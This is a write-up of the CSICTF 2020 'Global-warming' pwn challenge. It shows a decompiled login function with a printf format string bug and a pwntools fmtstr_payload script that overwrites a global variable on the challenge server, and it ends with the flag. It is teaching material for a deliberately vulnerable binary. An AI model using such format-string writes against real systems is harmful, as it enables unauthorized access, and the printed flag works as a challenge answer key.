# Global-warming

*发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Pwn*
*Challenge | 2020 | CSICTF | Pwn | Global-warming*

*点击此处获得更好的阅读体验*

---

## *WriteUp来源*

*https://dunsp4rce.github.io/csictf-2020/pwn/2020/07/22/Global-warming.html*

*by `AnandSaminathan`*

## *题目描述*

## *题目考点*

## *解题思路*

*The binary contains two functions - `main` and `login`, the `main` function reads an input and passes it to `login`. On decompiling login using Ghidra:*

```
1  void login(int32_t arg_ch)
2  {
3      int32_t unaff_EBX;
4      int32_t var_4h;
5
6      __x86.get_pc_thunk.bx();
7      printf(arg_ch);
8      if (admin == 0xb4dbabe3) {
9          system("cat flag.txt");
10     } else {
11         printf("You cannot login as admin.");
12     }
13     return;
14 }
```

*It is clear that `printf` prints the input without any format string, so the binary has format string vulnerability. The input has to some how overwrite `admin` to `0xb4dbabe3` which is a global variable at `0x804c02c`. This can be done using `%n` or `%hn` format string. But instead it is easier to do it using pwntools' `fmstr_payload` function, which only requires the location of format string from the stack pointer and <address, value> pairs of the variables to overwritten as a dict.*

*In this case, the format string is 12 positions away from the stack pointer (found manually by using `%x`'s as inputs). This script worked:*

```
1 from pwn import *
2 elf = ELF('./global-warming')
3 io = remote("chall.csivit.com", 30023)
4 admin = elf.symbols['admin']
5 magic = 0xb4dbabe3
6 io.sendline(fmtstr_payload(12, {admin : magic}))
7 io.recvline()
8 print(io.recvall())
```

## *Flag*

```
1 csictf{n0_5tr1ng5_@tt@ch3d}
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/CSICTF/Pwn/mTrFNmAsZwy3zBoYUckczE.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

*# Challenge # 2020 # Pwn # CSICTF*